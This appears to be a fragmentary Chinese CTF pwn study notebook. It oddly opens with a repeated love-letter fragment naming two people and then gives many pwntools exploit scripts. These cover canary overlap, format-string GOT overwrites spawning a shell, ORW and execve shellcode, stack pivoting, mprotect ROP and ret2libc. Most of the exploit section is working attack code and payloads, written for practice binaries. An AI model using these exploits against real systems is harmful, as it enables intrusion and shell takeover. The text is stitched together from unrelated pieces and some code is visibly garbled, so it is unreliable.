我亲爱的 [农彩霞],
在这个特别的一天
即使你现在不在南宁
回想起我们曾经一同追逐梦想的时光
在这段异地恋的旅途中
我的爱
虽然我们今天不能共度这个美好的时刻
在我心中
深情的拥抱
[陈阳]
我亲爱的 [农彩霞],
在这个特别的一天
即使你现在不在南宁
回想起我们曾经一同追逐梦想的时光
在这段异地恋的旅途中
我的爱
虽然我们今天不能共度这个美好的时刻
在我心中
深情的拥抱
[陈阳]
核心
–>已将重要变量重命名以及流程代码的标注
choose 2 ———->调用一个可开极大栈空间的函数
choose 3 ———> 官方提示的目标危险函数
from pwn import *
p=process('/home/lilbc/桌面/pwn1' )
context(os='linux', arch='amd64')
context(os='linux', arch='amd64')
p.sendlineafter(b"your choice : \n",str(2))
p.sendlineafter(b"You can give any value, trust me, there will be no overflow\n",str(24559))
gdb.attach(p)
pause()
payload=b'aa'+b'flag\x00'*0x1320
p.sendlineafter(b"Actually, this function doesn't seem to be useful\n",payload)
p.sendlineafter(b"Really?\n",b'n')
p.sendlineafter(b"your choice : \n",str(3))
p.sendlineafter(b"Enter level:",str(2))
gdb.attach(p)
pause()
choose 2 的canary地址落于
choose 3 的canary落于
两函数栈帧几乎重叠开启
若flag\x00字符串读入未初始化变量dest
如果满足这些条件
from pwn import *
#p=remote('node4.buuoj.cn',26153)
p=process('/home/lilbc/桌面/pwn1' )
#libc=ELF('./libc.so.6')
#elf = ELF('./pwn1')
context(os='linux', arch='amd64')
p.sendlineafter(b"your choice : \n",str(2))
p.sendlineafter(b"You can give any value, trust me, there will be no overflow\n",str(24559))
payload=b'aa'+b'flag\x00'*0x1320
p.sendlineafter(b"Actually, this function doesn't seem to be useful\n",payload)
p.sendlineafter(b"Really?\n",b'n')
gdb.attach(p)
pause()
p.sendlineafter(b"your choice : \n",str(3))
p.sendlineafter(b"Enter level:",str(2))
gdb.attach(p)
pause()
p.sendlineafter(b"Enter mode:",str(2))
p.sendlineafter(b"Enter X:",str(3))
payload=b'a'*0x10
p.sendlineafter(b"Enter a string: ",payload)
p.sendlineafter(b"please input filename\n",'output.txt')
p.sendlineafter(b"1. yes\n2.no\n",str(2))
p.sendlineafter(b"your choice : \n",str(4))
payload=b'11>:`!!>@a*>~3'
p.sendlineafter('info>>\n',payload)
p.sendlineafter(b"your choice : \n",str(5))
payload=b'a'*0x118+p64(0x602121)
p.sendlineafter(b"This is a strange overflow. Because of canary, you must not hijack the return address\n",payload)
p.interactive()
引用参考zsnick师傅https://blog.csdn.net/mochu7777777/article/details/130309288
注意这里是逐字节爆破
fork函数为一个特殊函数两个返回三种状态
注意注意
所以内部循环流程为
逐字节进行循环
若符合
并进行下一字节循环的爆破
bss段上的格式化字符串和栈上的格式化字符串最大的区别在于
输入的格式化字符串被放在
采取的攻击措施是
利用ebp寄存器的地址映射
总结
![[bssfmastrpic1.png]]
明显的格式化漏洞
通过修改这个ebp
构造结果如下
这里的printf+2是因为这里修改的是printfgot表的前两位
![[bssfmastrpic3 2.png]]
from LibcSearcher import *
from pwn import *
io=process('./SWPUCTF_2019_login')
elf=ELF('./SWPUCTF_2019_login')
libc=elf.libc
context.log_level='debug'
def fmtsend(addr,place):
io.recvuntil('Try again!\n')
payload = '%'+str(addr)+'c'+'%'+str(place)+'$hn'
print payload
io.sendline(payload)
#解释<span class="bd-box"><h-char class="bd bd-beg"><h-inner>:</h-inner></h-char></span>将偏移是place的地址所指向的地址的后两位修改为addr
def debug():
gdb.attach(io,"b *0x080485AF")
io.sendline('aa')
io.sendlineafter('name:','aaa')
payload1='%15$p'
io.sendlineafter('password:',payload1)
io.recvuntil('This is the wrong password: ')
libc_start_main = int(io.recvuntil('\n')[:-1],16)-262
# libc=LibcSearcher('__libc_start_main',libc_start_main)
# libc_base=liba_start_main-libc.dump('__libc_start_main')
libc_base=libc_start_main-libc.sym['__libc_start_main']
print "libc_base----->" + hex(libc_base)
system=libc_base+libc.sym['system']
binsh=libc_base+libc.search("/bin/sh\x00").next()
payload2='%6$p'
io.sendlineafter('Try again!\n',payload2)
io.recvuntil('This is the wrong password: ')
target=int(io.recvuntil('\n')[:-1],16)
print "target----->" + hex(target)
print hex(elf.got['puts'])
heap_base = target-0x28
stack_addr = heap_base+0x2c
stack_addr2=heap_base+0x24
bias1=stack_addr&0xffff
bias2=elf.got['printf']&0xffff
bias3=stack_addr2&0xffff
system_back4=(system&0xffff)
system_for4=(system&0xffff0000)>>16
print hex(bias1)
print hex(bias2)
print hex(system)
print hex(system_for4)
print hex(system_back4)
# pause()
# gdb.attach(io,"b *0x080485AF")
fmtsend(bias1,6)
fmtsend(bias2,10)
fmtsend(bias1-8,6)
fmtsend(bias2+2,10)
payload = '%'+str(system_back4)+'c'+'%'+str(11)+'$hn'+'%'+str(system_for4-system_back4)+'c'+'%'+str(9)+'$hn'
io.recvuntil('Try again!\n')
io.sendline(payload)
io.sendline(';sh')
io.interactive()
pwndbg> b printf
pwndbg> r
pwndbg> stack 30
00:0000│ esp 0xffffcfdc —▸ 0x8048540 (do_fmt+69) ◂— add esp, 0x10 //ret地址
01:0004│ 0xffffcfe0 —▸ 0x804a060 (buf) ◂— 0x61616161 ('aaaa') //输入的格式化字符串
02:0008│ 0xffffcfe4 —▸ 0x8048640 ◂— jno 0x80486b7 /* 'quit' */ //偏移1
03:000c│ 0xffffcfe8 ◂— 0x4 //偏移2
04:0010│ 0xffffcfec —▸ 0x804857c (play+51) ◂— add esp, 0x10
05:0014│ 0xffffcff0 —▸ 0x8048645 ◂— cmp eax, 0x3d3d3d3d
06:0018│ 0xffffcff4 —▸ 0xf7fb3000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x1b1db0
07:001c│ ebp 0xffffcff8 —▸ 0xffffd008 —▸ 0xffffd018 ◂— 0x0 //偏移6<span class="bd-box"><h-char class="bd bd-end"><h-inner>【</h-inner></h-char></span>ebp=0xffffcff8->旧ebp=0xffffd008<span class="bd-box"><h-char class="bd bd-beg"><h-inner>,</h-inner></h-char></span>在MIT6.828中我们学习过<span class="bd-box"><h-char class="bd bd-beg"><h-inner>,</h-inner></h-char></span>设置栈就是通过设置ebp=0<span class="bd-box"><h-char class="bd bd-beg"><h-inner>,</h-inner></h-char></span>因此这个0x0是最后一个ebp<span class="bd-box"><h-char class="bd bd-beg"><h-inner>】</h-inner></h-char></span>
08:0020│ 0xffffcffc —▸ 0x8048584 (play+59) ◂— nop //偏移7
09:0024│ 0xffffd000 —▸ 0xf7fb3d60 (_IO_2_1_stdout_) ◂— 0xfbad2887
0a:0028│ 0xffffd004 ◂— 0x0
0b:002c│ 0xffffd008 —▸ 0xffffd018 ◂— 0x0 //偏移10<span class="bd-box"><h-char class="bd bd-end"><h-inner>【</h-inner></h-char></span>旧ebp<span class="bd-box"><h-char class="bd bd-beg"><h-inner>】</h-inner></h-char></span>
0c:0030│ 0xffffd00c —▸ 0x80485b1 (main+42) ◂— nop //偏移11
0d:0034│ 0xffffd010 —▸ 0xf7fb33dc (__exit_funcs) —▸ 0xf7fb41e0 (initial) ◂— 0x0
0e:0038│ 0xffffd014 —▸ 0xffffd030 ◂— 0x1
0f:003c│ 0xffffd018 ◂— 0x0
10:0040│ 0xffffd01c —▸ 0xf7e19637 (__libc_start_main+247) ◂— add esp, 0x10
11:0044│ 0xffffd020 —▸ 0xf7fb3000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x1b1db0
... ↓
13:004c│ 0xffffd028 ◂— 0x0
14:0050│ 0xffffd02c —▸ 0xf7e19637 (__libc_start_main+247) ◂— add esp, 0x10
15:0054│ 0xffffd030 ◂— 0x1
16:0058│ 0xffffd034 —▸ 0xffffd0c4 —▸ 0xffffd290 ◂— 0x6d6f682f ('/hom')
17:005c│ 0xffffd038 —▸ 0xffffd0cc —▸ 0xffffd2cb ◂— 'XDG_VTNR=7'
这一题也可以从写入的buf段地址进行判断
6. spidermana.github.io/_posts/2019-04-17-hitcon_pwn_writeUp.md at 27d5c5d56df3b1366526cbb05267cf4ae92b4af3 · spidermana/spidermana.github.io
不会的化可以看以上github的详细解读
很明显提示写入shellcode
_
#include <sys/prctl.h>
int prctl(int option, unsigned long arg2, unsigned long arg3, unsigned long arg4, unsigned long arg5);
这里有5个参数
PR_SET_NO_NEW_PRIVS(38)
PR_SET_SECCOMP(22)
我们通俗易懂地理解就是
下面示例exit
int main(void)
{
exit(0);
}
/*编译时使用static选项<span class="bd-box"><h-char class="bd bd-beg"><h-inner>,</h-inner></h-char></span>防止使用动态链接<span class="bd-box"><h-char class="bd bd-beg"><h-inner>,</h-inner></h-char></span>在程序中保留exit函数的系统调用码*/
gcc -static -o exit exit.c
tips
具体步骤
Section .text
global _start
_start:
mov ebx, 0
mov ax, 1
int 0x80
然后用nasm编译
nasm -f elf32 exit_shellcode.asm
ld -i exit_shellcode exit_shellcode.o
objdump看opcode
看到shellcode中存在一些**NULL
mov ebx, 0 –> xor ebx, ebx
Section .text
global _start
_start:
xor ebx, ebx
mov al, 1
int 0x80
消除\x00
char shellcode[] = "\x31\xdb"
"\xb0\x01"
"\xcd\x80";
int main(void)
{
int *ret;
ret = (int *)&ret + 2;
(&ret) = (int)shellcode;
}
—–exit
在linux系统中
execve
这里讲解下为什么要向堆栈中反省推送
用python来生成hs/nib//的十六进制位
之后将分两半塞入栈中即可
分享一个提取shellcode的指令
objdump -d ./execve-stack|grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-6 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//g'|sed 's/ /\\x/g'|paste -d '' -s |sed 's/^/"/'|sed 's/$/"/g'
#include<stdio.h>
#include<string.h>
unsigned char code[] = \
"\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80";
int main(void)
{
printf("Shellcode Length: %d\n", strlen(code));
int (*ret)() = (int(*)())code;
ret();
}
xor ecx,ecx;
xor edx,edx;
//初始化//
push 0x0; #字符串以\x00结尾
push 0x67616c66; #flag十六进制
mov ebx,esp; #指向flag的地址<span class="bd-box"><h-char class="bd bd-beg"><h-inner>,</h-inner></h-char></span>进行open
mov eax,0x5;
int 0x80;
tips
mov ebx,0x3; //文件描述符
mov ecx, 0x0804A0A0; #直接写到shellcode下面的地址<span class="bd-box"><h-char class="bd bd-beg"><h-inner>,</h-inner></h-char></span>esp指向地址
mov edx, 0x40;
mov eax, 0x3;
int 0x80;
tips
mov ebx, 0x1;
mov ecx, 0x0804A0A0;
mov edx, 0x40;
mov eax, 0x4;
int 0x80;
#!/usr/bin/python
from pwn import *
from LibcSearcher import *
a=process("orw")
elf=ELF("orw")
context(arch='i386',os='linux',log_level='debug')
shellcode = asm('''
xor ecx,ecx;
xor edx,edx;
push 0x0
push 0x67616c66;
mov ebx,esp;
mov eax,0x5;
int 0x80;
mov ebx,0x3;
mov ecx, 0x0804A0A0;
mov edx, 0x40;
mov eax, 0x3;
int 0x80;
mov ebx, 0x1;
mov ecx, 0x0804A0A0;
mov edx, 0x40;
mov eax, 0x4;
int 0x80;
''')
print len(shellcode)
a.recvuntil("Give my your shellcode:")
payload=shellcode
a.sendline(payload)
a.interactive()
当然
from pwn import *
context.log_level = 'debug'
elf = ELF('orw')
shellcode = shellcraft.open('/flag')
shellcode += shellcraft.read('eax','esp',100)
shellcode += shellcraft.write(1,'esp',100)
shellcode = asm(shellcode)
r.sendline(shellcode)
r.interactive()q
周六周天接着上次组会把格式化字符串重新复盘下儿
#一些汇编指令的含义
![[Pasted image 20230312120910.png]]
1
以下为具体示意pop
是汇编指令中的一种pop
指令通常用于函数调用时弹出参数pop
指令的操作数可以是寄存器或内存地址pop
指令时
2是不是很形象的将栈帧向下移动一段距离
以下为具体示意push
是汇编指令中的一种push
指令通常用于函数调用时将参数入栈push
指令的操作数可以是寄存器push
指令时
3
4,b高s低
b是赛高的s无所谓
esp ebp在函数调用过程中的形式
高地址
......
| |
| |<- EBP<span class="bd-box"><h-char class="bd bd-end"><h-inner>(</h-inner></h-char></span>栈底<span class="bd-box"><h-char class="bd bd-beg"><h-inner>)</h-inner></h-char></span>
| 局部 |
| 变量 |
| |
| |
| 参数 |
| |
| |
| |<- ESP<span class="bd-box"><h-char class="bd bd-end"><h-inner>(</h-inner></h-char></span>栈顶<span class="bd-box"><h-char class="bd bd-beg"><h-inner>)</h-inner></h-char></span>
......
低地址
5地址
给ebp寄存器
之后ebp寄存器
在栈旁侧进行指向
6
———————————————————————————分割线
#以下为栈迁移的讲解核心思想<span class="bd-box"><h-char class="bd bd-beg"><h-inner>:</h-inner></h-char></span>
让esp跑两次
第一次篡改
过后的old ebp地址出栈
第二次
![[Pasted image 20230303190918.png]]
![[Pasted image 20230303190931.png]]
栈迁移原理介绍与应用 - Max1z - 博客园 (cnblogs.com)
这篇文章讲解的足够详细
要点归纳
1
2. # 第二次溢出
payload=p32(elf.plt['system'])+p32(elf.sym['_start'])+p32(leak_ebp-offset+0xc)+b'/bin/sh\x00'
payload=payload.ljust(0x28,b'a')+p32(target_addr)+p32(leave_ret)
第一行为向s中写数据
第二行为写入数据并对齐
![[Pasted image 20221023181159.png]]
![[Pasted image 20221023181117.png]]
sym.imp.__stack_chk_fail
函数sym.imp.__stack_chk_fail
函数基本原理
防止攻击者的攻击手段
三种保护模式
1
2
3
.got 与.got.plt都只读不写
https://blog.csdn.net/elg5127/article/details/124221422
这个是csdn上的讲解
BUU-PWN题
这个是语雀上的讲解
PWN疑难
对于栈传参一篇写的贼好的文章
疑问点解释
1
首先
![[Pasted image 20221108161747.png]]
之后直接把恶意数据直接篡改到这里面即可
调用数据的话直接调用这里的地址即可
2
首先给到exp看下内容
from pwn import *
elf = ELF(‘./pwn’)
sh = process(‘./pwn’)
= remote(‘node3.buuoj.cn’,27234)
pop3_ret = 0x0809e4c5
mem_addr = 0x080ea000
#可读可写的内存,但不可执行
mem_size = 0x3000
#通过调试出来的值
mem_proc = 0x7
#可代表可读可写可执行
mprotect_addr = elf.symbols[‘mprotect’]
read_addr = elf.symbols[‘read’]
payload_01 = ‘A’ * 0x38
payload_01 += p32(mprotect_addr)
payload_01 += p32(pop3_ret) 这里的寄存器并非是用来传递参数
#执行完mprotect的返回地址,使esp往下+12
payload_01 += p32(mem_addr)
#mprotect函数参数1 修改的内存地址
payload_01 += p32(mem_size)
#mprotect函数参数2 修改的内存大小
payload_01 += p32(mem_proc)
#mprotect函数参数3 修改的权限
payload_01 += p32(read_addr)
#执行完上面pop3_ret后到read函数
payload_01 += p32(pop3_ret)
#执行完read后将返回到pop3_ret指令 又继续使esp+12到mem_addr
payload_01 += p32(0)
#read函数参数1 从输入端读取
payload_01 += p32(mem_addr)
#读取到的内容复制到指向的内存里
payload_01 += p32(0x100)
#读取已知内存的地址内容大小
payload_01 += p32(mem_addr)
#这里就是shellcode了
sh.sendline(payload_01)
payload_sh = asm(shellcraft.sh(),arch = ‘i386’, os = ‘linux’)
sh.sendline(payload_sh)
#这就是read读入的内容
sh.interactive()
这里重点看这部分
32位多参函数传参问题
payload_01 += p32(mprotect_addr)
payload_01 += p32(pop3_ret)
#执行完mprotect的返回地址,使esp往下+12
payload_01 += p32(mem_addr)
#mprotect函数参数1 修改的内存地址
payload_01 += p32(mem_size)
#mprotect函数参数2 修改的内存大小
payload_01 += p32(mem_proc)
#mprotect函数参数3 修改的权限
payload_01 += p32(read_addr)
#执行完上面pop3_ret后到read函数
payload_01 += p32(pop3_ret)
#执行完read后将返回到pop3_ret指令,又继续使esp+12到mem_addr
payload_01 += p32(0)
#read函数参数1 ,从输入端读取
payload_01 += p32(mem_addr)
#读取到的内容复制到指向的内存里
payload_01 += p32(0x100)
#读取大小
payload_01 += p32(mem_addr)
#这里就是shellcode了
解释
1
2
3
4
利用pop3_addr最后的ret指令
从而使得ip往上走
这里插入下汇编ret指令
具体含义是将sp向栈的上上方移并将上面的一个地址读入栈中
5
6
其exp:
from pwn import *
sh = process(‘./ret2libc2’)
system_addr=0x8048490
gets_addr=0x8048460
pop_addr = 0x0804872f
buf2_addr = 0x804a080
payload = flat([112*A, gets_addr, pop_addr, buf2_addr, system_addr, 0xdeadbeef, buf2_addr])
sh.sendline(payload)
sh.sendline(‘/bin/sh’)
sh.interactive()
其运用的是先构造好rop链
调用gets函数
之后写入/bin/sh即可
最后写的地址是参数写入的地址
这道题是shellcode执行地址